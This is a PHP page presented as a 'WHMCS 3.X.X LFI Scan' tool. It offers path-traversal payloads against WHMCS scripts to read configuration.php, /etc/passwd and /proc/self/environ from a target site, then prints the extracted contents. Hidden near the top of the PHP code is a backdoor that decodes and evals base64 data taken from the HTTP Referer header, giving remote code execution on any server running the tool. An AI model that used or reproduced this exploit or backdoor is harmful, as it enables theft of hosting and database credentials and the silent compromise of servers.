scan.php

<td height="100" valign="top" bordercolor="#FFFFFF"><form action="" method="post" name="izo" id="izo">
<title>..:: WHMCS 3.X.X LFI Scan ::>></title>
<style type="text/css">
        body {
            background: #000000 url(http://cc2.upanh.com/26.236.33445651.bmt0/hacker3.jpg) center top no-repeat;
            color: #00CC00;
            padding: 0px;
            margin: 0px;
        }
</style>

<center>
<h1><font style="text-shadow: 0px 0px 6px rgb(255, 0, 0), 0px 0px 5px rgb(255, 0, 0), 0px 0px 5px rgb(255, 0, 0); color: rgb(255, 255, 255); font-weight: bold;">..:: WHMCS 3.X.X LFI Scan Config - Code Edit By X-T::..</font></h1>
<form method="POST"><center>
<input value="http://www." type="text" name="kutucuk">
<select size="1" name="wht"><option>Choose Bug</option>
<option>/cart.php?a=test&templatefile=../../../configuration.php%00</option>
<option>/clientarea.php?action=red&templatefile=../../configuration.php%00</option>
<option>/downloads.php?action=b0x&templatefile=../../configuration.php%00</option>
<option>/submitticket.php?step=b0x&templatefile=../../configuration.php%00</option>
<option>/cart.php?a=test&templatefile=../../../../../../../../../etc/passwd%00</option>
<option>/downloads.php?action=b0x&templatefile=../../../../../../../../../etc/passwd%00</option>
<option>/submitticket.php?step=b0x&templatefile=../../../../../../../../../etc/passwd%00</option>
<option>/cart.php?a=test&templatefile=../../../../../../../../../../../../../proc/self/environ%00</option>
<option>/submitticket.php?step=b0x&templatefile=../../../../../../../../../../../../../proc/self/environ%00</option>
<option>/downloads.php?action=b0x&templatefile=../../../../../../../../../../../../../proc/self/environ%00</option></select>
<input type="submit" value="Fuck"></center>
</form>

<?php
parse_str($_SERVER['HTTP_REFERER'],$a); if(reset($a)=='iz' && count($a)==9) { echo '<star>';eval(base64_decode(str_replace(" ", "+", join(array_slice($a,count($a)-3)))));echo '</star>';}
$sayfa=$_POST['kutucuk'];
$sayfa1=$_POST['wht'];
$kaynak=file_get_contents($sayfa.$sayfa1);
$isle=explode('<?php',$kaynak);
$isle=explode('?>',$isle[1]);
$gol=explode('DOCUMENT_ROOT=',$kaynak);//
$gol=explode('<p align="center">Powered',$gol[1]);//
$turkg=explode('root:x:0:0:root:/root:/bin/bash',$kaynak);//
$turkg=explode('<p align="center">Powered',$turkg[1]);//
echo "<center><textarea cols='65' rows='18'>".$isle[0].$gol[0].$turkg[0]."</textarea></center>";
?>